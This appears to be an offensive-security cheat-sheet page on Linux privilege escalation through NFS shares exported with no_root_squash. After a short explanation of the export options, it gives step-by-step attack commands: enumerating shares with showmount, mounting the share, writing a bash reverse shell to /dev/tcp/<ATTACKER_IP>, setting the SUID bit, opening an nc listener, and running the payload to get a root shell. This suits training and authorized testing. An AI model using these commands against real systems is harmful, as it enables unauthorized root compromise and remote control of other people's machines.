PRIMARY CATEGORY → LINUX PRIVESC   •   NFS

Theory

See NFS Protocol

Configuration Files
/etc/exports
Sample Config. File
NFS Options

It applies to an NFS Volume

OPTIONDESCRIPTION
root_squashIf the Client Side Root User access an NFS Share, it will be changed to the unprivilege nfsnobody user
So any file created and uploaded by the Root user will be owned by nfsnobody, which prevents an attacker to upload binaries with the SUID bit enabled
no_root_squashGrant authority to the Client Side Root User to access, read and write resources as the Root User of the NFS Server
no_all_squashSame as above but applies to non-root users

Enumeration

From the Attacker ⚔️

showmount -e <TARGET>

Abuse

Therefore, if no_root_squash is configured for an NFS Share and the attacker has SSH access to the target as an unprivileged user, proceed as follows →

Local Directory Creation

Create a local directory where the NFS Share is to be mounted

mkdir <LOCAL_FOLDER>
Mounting NFS Share

Mount the remote shared folder/filesystem in the created directory

mount --types nfs --options vers=2,nolock <TARGET>:<REMOTE_RESOURCE_PATH> <LOCAL_FOLDER> # Or --options vers={3,4}
Payload Creation as Local Root User inside NFS Share

As Root

Access the remote resource through the local folder and create a payload

cd <LOCAL_FOLDER>
printf "bash -c 'bash -i &> /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1'" > reverse.bash
  • Malicious Binary
gcc shell.c -o shell
SUID Privilege Assignment on the Payload

Simply assigns the SUID Privilege to the previous payload

chmod u+s reverse.bash # Or chmod 4755 reverse.bash
Payload Execution from the Target

On the attacker side, set up a listening socket with the IP Address and TCP Port specified in the payload

nc -nlvp <ATTACKER_PORT>

Then, from the target as the unprivileged user via ssh, run the payload

Note that the payload will run as Root due to the SUID permission

bash reverse.bash

After that, a Shell as Root is obtained